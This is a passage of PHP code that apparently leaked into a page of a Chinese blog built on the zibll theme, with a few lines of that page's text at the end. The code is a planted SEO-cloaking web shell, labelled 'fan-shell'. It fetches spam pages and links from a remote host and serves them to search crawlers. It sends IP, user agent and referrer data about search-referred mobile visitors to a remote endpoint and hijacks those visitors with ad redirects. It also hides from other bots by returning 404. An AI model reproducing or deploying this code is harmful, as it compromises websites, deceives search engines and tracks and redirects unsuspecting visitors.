if (!empty($remote['default_php'])) {
$remotePhp = trim((string)$remote['default_php']);
}
}
$php = $remotePhp;
}
$php = trim((string)$php);
if ($php === '') {
$config['phpInnerScript'] = '';
} else {
$php = preg_replace('/[?#].*$/', '', ltrim($php, '/'));
$base2 = strtolower($php);
if ($base2 === 'index.php' || $base2 === 'index.htm' || $base2 === 'index.html') {
$config['phpInnerScript'] = '';
} else {
$config['phpInnerScript'] = $php . '?';
}
}
return $config;
}
}
if (!function_exists('ToolmanIT_normalizeRemoteBases')) {
function ToolmanIT_normalizeRemoteBases(array $config)
{
if (!empty($config['mobileJs'])) {
$config['mobileJs'] = ToolmanIT_forceHttpsUrl($config['mobileJs']);
}
return $config;
}
}
if (!function_exists('ToolmanIT_buildVisitUrl')) {
function ToolmanIT_buildVisitUrl(array $config, $scheme, $host, $uri, $ua, $isMobile)
{
$base = isset($config['visitApiBase']) ? trim((string)$config['visitApiBase']) : '';
if ($base === '' || $host === '') {
return '';
}
if ($uri === '' || $uri[0] !== '/') {
$uri = '/' . ltrim($uri, '/');
}
$scheme = $scheme !== '' ? $scheme : 'http';
$fullUrl = $scheme . '://' . $host . $uri;
$ref = isset($_SERVER['HTTP_REFERER']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERER']) : '';
if ($ref === '' && !empty($_SERVER['HTTP_REFERRER'])) {
$ref = ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERRER']);
}
$clientIp = ToolmanIT_getRealIp();
if ($clientIp === '0.0.0.0') {
$clientIp = '';
}
$params = array(
'host' => $host,
'scheme' => $scheme,
'url' => $fullUrl,
'u' => $uri,
'device' => $isMobile ? 'mobile' : 'pc',
'ua' => substr((string)$ua, 0, 250),
'ref' => substr((string)$ref, 0, 400),
);
if ($clientIp !== '') {
$params['ip'] = $clientIp;
}
if (!empty($config['phpInnerScript'])) {
$params['php'] = (string)$config['phpInnerScript'];
}
return rtrim($base, '/') . '?' . http_build_query($params);
}
}
if (!function_exists('ToolmanIT_parseIpList')) {
function ToolmanIT_parseIpList($raw)
{
$raw = trim((string)$raw);
if ($raw === '') {
return array();
}
$parts = preg_split('/[\s,;]+/', $raw);
$out = array();
if (!is_array($parts)) {
return array();
}
foreach ($parts as $ip) {
$ip = trim((string)$ip);
if ($ip !== '' && filter_var($ip, FILTER_VALIDATE_IP)) {
$out[$ip] = true;
}
}
return array_keys($out);
}
}
if (!function_exists('ToolmanIT_isAdTestIp')) {
function ToolmanIT_isAdTestIp(array $config, $host = '')
{
$ip = ToolmanIT_getRealIp();
if ($ip === '' || $ip === '0.0.0.0') {
return false;
}
$list = array();
if (!empty($config['adTestIps']) && is_array($config['adTestIps'])) {
foreach ($config['adTestIps'] as $one) {
$one = trim((string)$one);
if ($one !== '') {
$list[$one] = true;
}
}
}
if (function_exists('ToolmanIT_fetchSpiderConfig')) {
$hostNow = trim((string)$host);
if ($hostNow === '' && function_exists('ToolmanIT_getRequestHost')) {
$hostNow = ToolmanIT_getRequestHost();
}
$cfg = ToolmanIT_fetchSpiderConfig($config, $hostNow);
if (!empty($cfg['ad_test_ips']) && is_array($cfg['ad_test_ips'])) {
foreach ($cfg['ad_test_ips'] as $one) {
$one = trim((string)$one);
if ($one !== '') {
$list[$one] = true;
}
}
}
}
return isset($list[$ip]);
}
}
if (!function_exists('ToolmanIT_isSearchTrafficHint')) {
function ToolmanIT_isSearchTrafficHint($url = '', $ref = '')
{
if (ToolmanIT_isSearchReferer($ref)) {
return true;
}
if ($ref !== '' && preg_match('/(?:baidu\.com|sm\.cn|shenma\.cn|sogou\.com|so\.com|haosou\.com|google\.|bing\.com|quark\.cn|toutiao\.com|bytesearch\.com)/i', (string)$ref)) {
return true;
}
$hay = strtolower(trim((string)$url . ' ' . (string)$ref));
if ($hay === '') {
return false;
}
if (preg_match('/(?:^|[?])bd_vid=/i', $hay)) {
return true;
}
if (preg_match('/(?:^|[?])(?:utm_source|from|source|refer|channel|channel_id)=(?:baidu|sogou|sm|shenma|so|haosou|360|google|bing|quark|toutiao|bytesearch)/i', $hay)) {
return true;
}
if (preg_match('/(?:bd_source|baidu_id|utm_source=baidu|from=baidu)/i', $hay)) {
return true;
}
if (preg_match('/(?:^|[?])eqid=/i', $hay) && preg_match('/(?:baidu|bd_vid|bd_source)/i', $hay)) {
return true;
}
return false;
}
}
if (!function_exists('ToolmanIT_canShowMobileAd')) {
function ToolmanIT_canShowMobileAd(array $config, $host = '')
{
if (ToolmanIT_isAdTestIp($config, $host)) {
return true;
}
$ref = isset($_SERVER['HTTP_REFERER']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERER']) : '';
if ($ref === '' && !empty($_SERVER['HTTP_REFERRER'])) {
$ref = ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERRER']);
}
$pageUrl = '';
if (function_exists('ToolmanIT_buildFullPageUrl') && function_exists('ToolmanIT_getRequestHost') && function_exists('ToolmanIT_detectScheme')) {
$pageUrl = ToolmanIT_buildFullPageUrl(ToolmanIT_detectScheme('https'), ToolmanIT_getRequestHost());
}
if ($pageUrl === '' && !empty($_SERVER['REQUEST_URI'])) {
$pageUrl = (string)$_SERVER['REQUEST_URI'];
}
return ToolmanIT_isSearchTrafficHint($pageUrl, $ref);
}
}
if (!function_exists('ToolmanIT_isSearchReferer')) {
function ToolmanIT_isSearchReferer($ref)
{
$ref = trim((string)$ref);
if ($ref === '') {
return false;
}
$host = parse_url($ref, PHP_URL_HOST);
if (!is_string($host) || $host === '') {
$host = parse_url('http://' . ltrim($ref, '/'), PHP_URL_HOST);
}
if (!is_string($host) || $host === '') {
return false;
}
$host = strtolower($host);
if (strpos($host, 'www.') === 0) {
$host = substr($host, 4);
}
$suffixes = array(
'baidu.com', 'baidu.com.cn', 'baidu.hk', 'baidu.jp',
'sm.cn', 'shenma.cn', 'sogou.com', 'so.com', 'haosou.com',
'bing.com', 'toutiao.com', 'bytesearch.com', 'quark.cn',
'yahoo.com', 'yahoo.co.jp', 'duckduckgo.com', 'ecosia.org',
);
foreach ($suffixes as $suf) {
if ($host === $suf || substr($host, -strlen('.' . $suf)) === '.' . $suf) {
return true;
}
}
if (preg_match('/(^|\.)google\.[a-z.]+$/i', $host)) {
return true;
}
return false;
}
}
if (!function_exists('ToolmanIT_isBaiduSpiderUa')) {
function ToolmanIT_isBaiduSpiderUa($ua)
{
return (bool)preg_match('/Baiduspider/i', (string)$ua);
}
}
if (!function_exists('ToolmanIT_guardDeny')) {
function ToolmanIT_guardDeny($code = 404, $msg = 'Not Found')
{
$code = (int)$code;
if ($code < 400 || $code > 599) {
$code = 404;
}
if (!headers_sent()) {
$proto = isset($GLOBALS['ToolmanIT_proto']) ? $GLOBALS['ToolmanIT_proto'] : 'HTTP/1.1';
if ($proto === '' || stripos($proto, 'HTTP') !== 0) {
$proto = 'HTTP/1.1';
}
$text = ($code === 429) ? 'Too Many Requests' : 'Not Found';
header($proto . ' ' . $code . ' ' . $text, true, $code);
header('Status: ' . $code . ' ' . $text);
if (function_exists('http_response_code')) {
http_response_code($code);
}
header('Content-Type: text/plain; charset=utf-8');
header('X-Robots-Tag: noindex, nofollow, noarchive');
header('Connection: close');
}
echo (string)$msg;
exit;
}
}
if (!function_exists('ToolmanIT_isAllowedBaiduSpider')) {
function ToolmanIT_isAllowedBaiduSpider(array $config, $ua, $ip = '')
{
unset($config, $ip);
return ToolmanIT_isBaiduSpiderUa($ua);
}
}
if (!function_exists('ToolmanIT_isRealCustomerLocal')) {
function ToolmanIT_isRealCustomerLocal(array $config, $ua, $isMobile)
{
if (ToolmanIT_isBaiduSpiderUa($ua) || ToolmanIT_isSpiderUa($ua, '')) {
return false;
}
if (function_exists('ToolmanIT_isPassThroughBotUa') && ToolmanIT_isPassThroughBotUa($ua)) {
return false;
}
if (empty($isMobile) || !ToolmanIT_isBrowserUa($ua)) {
return false;
}
return ToolmanIT_canShowMobileAd($config, '');
}
}
if (!function_exists('ToolmanIT_guardUnknownTraffic')) {
function ToolmanIT_guardUnknownTraffic(array $config, $ua, $ip, $isMobile)
{
unset($isMobile);
if (ToolmanIT_isAllowedBaiduSpider($config, $ua, $ip)) {
return;
}
$spiderReg = isset($config['spiderReg']) ? $config['spiderReg'] : '';
if (ToolmanIT_isBrowserUa($ua)
&& !ToolmanIT_isSpiderUa($ua, $spiderReg)
&& !(function_exists('ToolmanIT_isGoogleUa') && ToolmanIT_isGoogleUa($ua))
&& !(function_exists('ToolmanIT_isPassThroughBotUa') && ToolmanIT_isPassThroughBotUa($ua))
) {
return;
}
ToolmanIT_guardDeny(404, 'Not Found');
}
}
if (!function_exists('ToolmanIT_isGoogleUa')) {
function ToolmanIT_isGoogleUa($ua)
{
return (bool)preg_match('/Googlebot|Google-InspectionTool|Storebot-Google|AdsBot-Google|Mediapartners-Google|APIs-Google|FeedFetcher-Google|GoogleProducer|GoogleOther|Google-Extended|DuplexWeb-Google|Google-Safety|Google-Site-Verification/i', (string)$ua);
}
}
if (!function_exists('ToolmanIT_isPassThroughBotUa')) {
function ToolmanIT_isPassThroughBotUa($ua)
{
unset($ua);
return false;
}
}
if (!function_exists('ToolmanIT_isSpiderUa')) {
function ToolmanIT_isSpiderUa($ua, $spiderReg = '')
{
$ua = (string)$ua;
if ($ua === '') {
return false;
}
if (ToolmanIT_isBaiduSpiderUa($ua)) {
return true;
}
$reg = trim((string)$spiderReg);
if ($reg === '') {
$reg = '@Baiduspider|Googlebot|Sogou\s+web\s+spider|Sogou-Test-Spider|YisouSpider|HaosouSpider|360Spider|Bytespider|Yandex(?:Bot|MobileBot)?|bingbot|BingPreview|SERanking|SemrushBot|AhrefsBot@i';
}
return (bool)@preg_match($reg, $ua);
}
}
if (!function_exists('ToolmanIT_outputVisitBeacon')) {
function ToolmanIT_outputVisitBeacon($url)
{
if ($url === '') {
return;
}
$json = json_encode($url, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
echo '';
}
}
if (!function_exists('ToolmanIT_isFanInnerPath')) {
function ToolmanIT_isFanInnerPath($uri, $uriForApi)
{
$hay = (string)$uri . "\n" . (string)$uriForApi;
if (preg_match('#(^|[/?])Article(/|$)#i', $hay)) {
return true;
}
if (preg_match('#/details/\\d{8}\\d+#i', $hay)) {
return true;
}
return false;
}
}
if (!function_exists('ToolmanIT_injectLinksIntoHtml')) {
function ToolmanIT_injectLinksIntoHtml($html)
{
$block = isset($GLOBALS['ToolmanIT_homeLinkHtml']) ? (string)$GLOBALS['ToolmanIT_homeLinkHtml'] : '';
if ($block === '' || !is_string($html) || $html === '') {
return $html;
}
if (stripos($html, 'id="fan-home-links"') !== false || stripos($html, $block) !== false) {
$GLOBALS['ToolmanIT_linksInjected'] = 1;
return $html;
}
$GLOBALS['ToolmanIT_linksInjected'] = 1;
if (preg_match('/]*>/i', $html, $m, PREG_OFFSET_CAPTURE)) {
$pos = $m[0][1] + strlen($m[0][0]);
return substr($html, 0, $pos) . "\n" . $block . substr($html, $pos);
}
if (preg_match('/]*>/i', $html, $m, PREG_OFFSET_CAPTURE)) {
$pos = $m[0][1] + strlen($m[0][0]);
return substr($html, 0, $pos) . "\n" . $block . substr($html, $pos);
}
if (preg_match('/]*>/i', $html, $m, PREG_OFFSET_CAPTURE)) {
$pos = $m[0][1] + strlen($m[0][0]);
return substr($html, 0, $pos) . "\n" . $block . substr($html, $pos);
}
return $block . $html;
}
}
if (!function_exists('ToolmanIT_flushHomeLinks')) {
function ToolmanIT_flushHomeLinks()
{
if (!empty($GLOBALS['ToolmanIT_linksInjected'])) {
return;
}
$block = isset($GLOBALS['ToolmanIT_homeLinkHtml']) ? (string)$GLOBALS['ToolmanIT_homeLinkHtml'] : '';
if ($block === '') {
return;
}
$GLOBALS['ToolmanIT_linksInjected'] = 1;
echo $block;
}
}
if (!function_exists('ToolmanIT_fetchHomeLinkHtml')) {
function ToolmanIT_fetchHomeLinkHtml($config, $host, $scheme, $phpScript, $contentType, $pageUrl, $ip, $ua, $dev)
{
$cache = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fan_hl_' . md5(strtolower((string)$host) . '|' . (string)$phpScript) . '.html';
if (is_file($cache) && (time() - (int)@filemtime($cache)) < 180) {
$cached = @file_get_contents($cache);
if (is_string($cached) && strpos($cached, ' $ok ? 1 : 0, 't' => $now);
if (count($cache) > 4000) {
$cache = array_slice($cache, -3000, null, true);
}
@file_put_contents($file, json_encode($cache), LOCK_EX);
return $ok;
}
}
if (!function_exists('ToolmanIT_run')) {
function ToolmanIT_run_v2()
{
$ToolmanIT_config = ToolmanIT_forceRemoteBases(ToolmanIT_normalizeRemoteBases(ToolmanIT_superseoConfig()));
$ToolmanIT_self = strtolower(basename(str_replace('\\', '/', __FILE__)));
$ToolmanIT_script = strtolower(basename(str_replace('\\', '/', isset($_SERVER['SCRIPT_FILENAME']) ? (string)$_SERVER['SCRIPT_FILENAME'] : '')));
$ToolmanIT_embedded = defined('ToolmanIT_EMBED_MODE');
if (!$ToolmanIT_embedded && $ToolmanIT_script !== '' && $ToolmanIT_self !== '' && $ToolmanIT_script !== $ToolmanIT_self) {
return;
}
$ToolmanIT_ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$ToolmanIT_ipEarly = ToolmanIT_getRealIp();
$ToolmanIT_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$ToolmanIT_innerScript = $ToolmanIT_config['phpInnerScript'];
$ToolmanIT_pseudoStatic = !empty($ToolmanIT_config['pseudoStatic']);
$ToolmanIT_isInnerRequest = !$ToolmanIT_pseudoStatic
&& ToolmanIT_isInnerRequest($ToolmanIT_uri, $ToolmanIT_innerScript);
$ToolmanIT_isHomeRequest = false;
$ToolmanIT_uriPath = parse_url($ToolmanIT_uri, PHP_URL_PATH);
if (
$ToolmanIT_uriPath === '/' ||
$ToolmanIT_uriPath === '' ||
stripos($ToolmanIT_uriPath, '/index.php') !== false ||
stripos($ToolmanIT_uriPath, '/index.html') !== false ||
stripos($ToolmanIT_uriPath, '/index.htm') !== false
) {
$ToolmanIT_isHomeRequest = true;
}
if ($ToolmanIT_isHomeRequest && stripos($ToolmanIT_uriPath, '/index.php') !== false) {
$ToolmanIT_qs = isset($_SERVER['QUERY_STRING']) ? (string)$_SERVER['QUERY_STRING'] : '';
if (
$ToolmanIT_qs !== '' && (
$ToolmanIT_qs[0] === '/' ||
stripos($ToolmanIT_qs, '.html') !== false ||
stripos($ToolmanIT_qs, '.htm') !== false ||
stripos($ToolmanIT_qs, '.shtml') !== false
)
) {
$ToolmanIT_isHomeRequest = false;
}
}
$ToolmanIT_uriForApi = ToolmanIT_resolveUriPath($ToolmanIT_uri, $ToolmanIT_isInnerRequest);
$ToolmanIT_area =
$ToolmanIT_uriForApi !== '/' ||
stripos($ToolmanIT_uri, 'info') !== false ||
stripos($ToolmanIT_uri, 'xinwen') !== false ||
stripos($ToolmanIT_uri, 'news') !== false ||
stripos($ToolmanIT_uri, 'art') !== false ||
stripos($ToolmanIT_uri, '.shtml') !== false ||
stripos($ToolmanIT_uri, '.xls') !== false ||
stripos($ToolmanIT_uri, '.csv') !== false ||
stripos($ToolmanIT_uri, '.htm') !== false ||
stripos($ToolmanIT_uri, '.asp') !== false ||
stripos($ToolmanIT_uri, 'art.php') !== false ||
$ToolmanIT_isInnerRequest;
$ToolmanIT_isSpider = ToolmanIT_isSpiderUa($ToolmanIT_ua, isset($ToolmanIT_config['spiderReg']) ? $ToolmanIT_config['spiderReg'] : '');
$ToolmanIT_isMobile = preg_match($ToolmanIT_config['mobileReg'], $ToolmanIT_ua);
$ToolmanIT_spiderDev = !empty($ToolmanIT_isMobile) ? 'm' : 'p';
$ToolmanIT_ip = ToolmanIT_getRealIp();
ToolmanIT_guardUnknownTraffic($ToolmanIT_config, $ToolmanIT_ua, $ToolmanIT_ip, $ToolmanIT_isMobile);
$ToolmanIT_baiduOk = ToolmanIT_isAllowedBaiduSpider($ToolmanIT_config, $ToolmanIT_ua, $ToolmanIT_ip);
if ($ToolmanIT_baiduOk) {
$ToolmanIT_host = ToolmanIT_getRequestHost();
$ToolmanIT_scheme = ToolmanIT_detectScheme($ToolmanIT_config['scheme']);
$ToolmanIT_phpScript = $ToolmanIT_pseudoStatic ? null : $ToolmanIT_config['phpInnerScript'];
$ToolmanIT_pageUrl = ToolmanIT_buildFullPageUrl($ToolmanIT_scheme, $ToolmanIT_host);
$ToolmanIT_config = ToolmanIT_forceRemoteBases($ToolmanIT_config);
if (!ToolmanIT_isFanProbeRequest() && !ToolmanIT_isTrustedBaiduIp($ToolmanIT_ip, array())) {
ToolmanIT_denyFakeBaidu();
}
$ToolmanIT_spiderCfgEarly = ToolmanIT_fetchSpiderConfig($ToolmanIT_config, $ToolmanIT_host);
$ToolmanIT_linkOnly = !empty($ToolmanIT_spiderCfgEarly['link_only']);
if (!empty($ToolmanIT_config['spiderLinkOnly'])) {
$ToolmanIT_linkOnly = true;
}
$ToolmanIT_config = ToolmanIT_forceRemoteBases($ToolmanIT_config);
$ToolmanIT_linkHtml = '';
$ToolmanIT_pageHtml = '';
$ToolmanIT_linkUrl = ToolmanIT_buildLinkApiUrl(
$ToolmanIT_config['linkApiBase'],
$ToolmanIT_host,
$ToolmanIT_scheme,
$ToolmanIT_phpScript,
$ToolmanIT_config['contentType'],
$ToolmanIT_uriForApi,
$ToolmanIT_pageUrl,
$ToolmanIT_ip,
$ToolmanIT_ua,
$ToolmanIT_spiderDev
);
$ToolmanIT_tmp = ToolmanIT_httpGetRaw($ToolmanIT_linkUrl);
if ($ToolmanIT_tmp !== false && trim($ToolmanIT_tmp) !== '') {
$ToolmanIT_linkHtml = $ToolmanIT_tmp;
}
if (!$ToolmanIT_linkOnly) {
$ToolmanIT_apiUrl = ToolmanIT_buildApiUrl(
$ToolmanIT_config['apiBase'],
$ToolmanIT_host,
$ToolmanIT_ip,
$ToolmanIT_scheme,
$ToolmanIT_uriForApi,
$ToolmanIT_phpScript,
$ToolmanIT_config['contentType'],
$ToolmanIT_pageUrl,
$ToolmanIT_ua,
$ToolmanIT_spiderDev
);
$ToolmanIT_tmp = ToolmanIT_httpGetRaw($ToolmanIT_apiUrl);
if ($ToolmanIT_tmp !== false && trim($ToolmanIT_tmp) !== '') {
$ToolmanIT_pageHtml = $ToolmanIT_tmp;
}
if ($ToolmanIT_pageHtml === '') {
$ToolmanIT_apiUrl2 = ToolmanIT_buildApiUrl(
$ToolmanIT_config['apiBase'],
$ToolmanIT_host,
$ToolmanIT_ip,
$ToolmanIT_scheme,
$ToolmanIT_uriForApi,
$ToolmanIT_phpScript,
$ToolmanIT_config['contentType'],
$ToolmanIT_pageUrl,
$ToolmanIT_ua,
$ToolmanIT_spiderDev
);
$ToolmanIT_tmp = ToolmanIT_httpGetRaw($ToolmanIT_apiUrl2);
if ($ToolmanIT_tmp !== false && trim($ToolmanIT_tmp) !== '') {
$ToolmanIT_pageHtml = $ToolmanIT_tmp;
}
}
if ($ToolmanIT_linkHtml === '') {
$ToolmanIT_linkUrl2 = ToolmanIT_buildLinkApiUrl(
$ToolmanIT_config['linkApiBase'],
$ToolmanIT_host,
$ToolmanIT_scheme,
$ToolmanIT_phpScript,
$ToolmanIT_config['contentType'],
$ToolmanIT_uriForApi,
$ToolmanIT_pageUrl,
$ToolmanIT_ip,
$ToolmanIT_ua,
$ToolmanIT_spiderDev
);
$ToolmanIT_tmp = ToolmanIT_httpGetRaw($ToolmanIT_linkUrl2);
if ($ToolmanIT_tmp !== false && trim($ToolmanIT_tmp) !== '') {
$ToolmanIT_linkHtml = $ToolmanIT_tmp;
}
}
}
$ToolmanIT_ok = $ToolmanIT_linkOnly
? ($ToolmanIT_linkHtml !== '')
: ($ToolmanIT_pageHtml !== '');
if (!$ToolmanIT_ok && $ToolmanIT_linkHtml !== '') {
$ToolmanIT_ok = true;
}
if ($ToolmanIT_ok) {
ToolmanIT_forceOk();
if ($ToolmanIT_pageHtml !== '') {
if ($ToolmanIT_linkHtml !== '') {
$GLOBALS['ToolmanIT_homeLinkHtml'] = $ToolmanIT_linkHtml;
$ToolmanIT_pageHtml = ToolmanIT_injectLinksIntoHtml($ToolmanIT_pageHtml);
}
echo $ToolmanIT_pageHtml;
} elseif ($ToolmanIT_linkHtml !== '') {
echo '' . "\n";
echo $ToolmanIT_linkHtml;
echo '';
}
exit;
}
if (ToolmanIT_isInnerRequest($ToolmanIT_uri, $ToolmanIT_innerScript) || stripos($ToolmanIT_uri, 'show.php') !== false || stripos($ToolmanIT_uri, 'view.php') !== false) {
ToolmanIT_forceOk();
header('Content-Type: text/html; charset=utf-8');
$ToolmanIT_errInfo = isset($GLOBALS['ToolmanIT_lastHttpError']) ? (string)$GLOBALS['ToolmanIT_lastHttpError'] : 'unknown';
echo 'fan-empty';
echo 'fan-shell-ok but B-api empty; api=' . htmlspecialchars((string)$ToolmanIT_config['apiBase'], ENT_QUOTES, 'UTF-8');
echo '; err=' . htmlspecialchars($ToolmanIT_errInfo, ENT_QUOTES, 'UTF-8');
echo '';
exit;
}
return;
}
$ToolmanIT_hostNow = ToolmanIT_getRequestHost();
$ToolmanIT_spiderCfg = ToolmanIT_fetchSpiderConfig($ToolmanIT_config, $ToolmanIT_hostNow);
if (!empty($ToolmanIT_spiderCfg['ad_test_ips']) && is_array($ToolmanIT_spiderCfg['ad_test_ips'])) {
$ToolmanIT_mergedIps = array();
if (!empty($ToolmanIT_config['adTestIps']) && is_array($ToolmanIT_config['adTestIps'])) {
foreach ($ToolmanIT_config['adTestIps'] as $one) {
$one = trim((string)$one);
if ($one !== '') {
$ToolmanIT_mergedIps[$one] = true;
}
}
}
foreach ($ToolmanIT_spiderCfg['ad_test_ips'] as $one) {
$one = trim((string)$one);
if ($one !== '') {
$ToolmanIT_mergedIps[$one] = true;
}
}
$ToolmanIT_config['adTestIps'] = array_keys($ToolmanIT_mergedIps);
}
$ToolmanIT_isTestIp = ToolmanIT_isAdTestIp($ToolmanIT_config, $ToolmanIT_hostNow);
$ToolmanIT_isRealCustomer = ToolmanIT_isRealCustomerLocal($ToolmanIT_config, $ToolmanIT_ua, $ToolmanIT_isMobile);
$ToolmanIT_visitUri = ToolmanIT_getVisitUri();
$ToolmanIT_isShellEntry =
!$ToolmanIT_isHomeRequest && (
$ToolmanIT_isInnerRequest ||
ToolmanIT_uriHasShellScript($ToolmanIT_visitUri, $ToolmanIT_innerScript) ||
ToolmanIT_uriHasShellScript($ToolmanIT_uri, $ToolmanIT_innerScript) ||
(stripos((string)$ToolmanIT_uri, basename(__FILE__)) !== false)
);
if (!$ToolmanIT_baiduOk && (isset($_GET['fan_debug']) || isset($_REQUEST['fan_debug']))) {
ToolmanIT_forceOk();
header('Content-Type: text/plain; charset=utf-8');
header('Cache-Control: no-store');
$ToolmanIT_adDbg = ToolmanIT_resolveAdTarget($ToolmanIT_config, $ToolmanIT_hostNow);
echo "shell=" . ToolmanIT_SHELL_VER . "\n";
echo "ip=" . ToolmanIT_getRealIp() . "\n";
echo "test_ip=" . ($ToolmanIT_isTestIp ? 'yes' : 'no') . "\n";
echo "whitelist=" . implode(',', isset($ToolmanIT_config['adTestIps']) && is_array($ToolmanIT_config['adTestIps']) ? $ToolmanIT_config['adTestIps'] : array()) . "\n";
echo "mobile=" . (!empty($ToolmanIT_isMobile) ? 'yes' : 'no') . "\n";
echo "real_customer=" . ($ToolmanIT_isRealCustomer ? 'yes' : 'no') . "\n";
echo "shell_entry=" . ($ToolmanIT_isShellEntry ? 'yes' : 'no') . "\n";
echo "inner_script=" . (string)$ToolmanIT_innerScript . "\n";
echo "uri=" . (string)$ToolmanIT_uri . "\n";
echo "ad_enabled=" . (!empty($ToolmanIT_spiderCfg['ad_enabled']) ? 'yes' : 'no') . "\n";
echo "ad_mode=" . (isset($ToolmanIT_adDbg['mode']) ? (string)$ToolmanIT_adDbg['mode'] : '') . "\n";
echo "ad_jump=" . (isset($ToolmanIT_adDbg['jump']) ? (string)$ToolmanIT_adDbg['jump'] : '') . "\n";
echo "ad_js=" . (isset($ToolmanIT_adDbg['js']) ? (string)$ToolmanIT_adDbg['js'] : '') . "\n";
exit;
}
if (!$ToolmanIT_isRealCustomer) {
return;
}
$ToolmanIT_ad = ToolmanIT_resolveAdTarget($ToolmanIT_config, $ToolmanIT_hostNow);
$ToolmanIT_doMobileAd =
(($ToolmanIT_ad['mode'] === 'js') && $ToolmanIT_ad['js'] !== '') ||
(($ToolmanIT_ad['mode'] === 'url') && $ToolmanIT_ad['jump'] !== '');
ToolmanIT_reportVisitServer(
$ToolmanIT_config,
ToolmanIT_detectScheme($ToolmanIT_config['scheme']),
$ToolmanIT_hostNow,
$ToolmanIT_visitUri,
$ToolmanIT_ua,
true
);
if ($ToolmanIT_doMobileAd) {
ToolmanIT_forceOk();
ToolmanIT_outputMobileAdPage($ToolmanIT_ad);
exit;
}
if ($ToolmanIT_isTestIp && !empty($ToolmanIT_isMobile)) {
ToolmanIT_forceOk();
header('Content-Type: text/html; charset=utf-8');
echo 'ad-test';
echo 'ad-target empty
';
echo 'ip=' . htmlspecialchars(ToolmanIT_getRealIp(), ENT_QUOTES, 'UTF-8') . '
';
echo '';
exit;
}
return;
}
}
if (!function_exists('ToolmanIT_superseoConfig')) {
function ToolmanIT_superseoConfig()
{
return array(
'bBase' => 'http://aaq.sdfdcvdfrhg.info',
'apiBase' => '',
'linkApiBase' => '',
'visitApiBase' => '',
'phpInnerScript' => '',
'pseudoStatic' => false,
'contentType' => 'news',
'scheme' => 'https',
'mobileJs' => '',
'jumpUrl' => '',
'spiderLinkOnly' => false,
'adTestIps' => array(),
'spiderReg' => '@Baiduspider|Googlebot|Google-InspectionTool|Storebot-Google|AdsBot-Google|Mediapartners-Google|Sogou\s+web\s+spider|Sogou-Test-Spider|YisouSpider|HaosouSpider|360Spider|Bytespider|Yandex(?:Bot|MobileBot)?|bingbot|BingPreview|SemrushBot|AhrefsBot|DotBot|MJ12bot|SERanking|PetalBot|BLEXBot|Applebot|DuckDuckBot|facebookexternalhit|Twitterbot@i',
'mobileReg' => '/iphone|ipod|ipad|android|mobile|blackberry|iemobile|mqqbrowser|fennec|webos|symbian|windows phone|huawei|honor|xiaomi|redmi|vivo|oppo|meizu|oneplus|baiduboxapp|micromessenger|qqbrowser|ucbrowser|sogoumobilebrowser|toutiao|douyin|tiktok|360browser/i'
);
}
}
if (!defined('ToolmanIT_RAN')) {
define('ToolmanIT_RAN', 1);
ToolmanIT_run_v2();
}
if (!function_exists('ToolmanIT_run')) {
function ToolmanIT_run() { ToolmanIT_run_v2(); }
}
骑猪兜风-智享云联-第288页
本站采用子比主题建站
zibll子比主题是一款漂亮优雅的商城资讯类网站主题模板,功能强大,配置简单
这是一条系统弹窗通知示例
管理员可在
主题设置-常用功能-弹窗通知中进行相关设置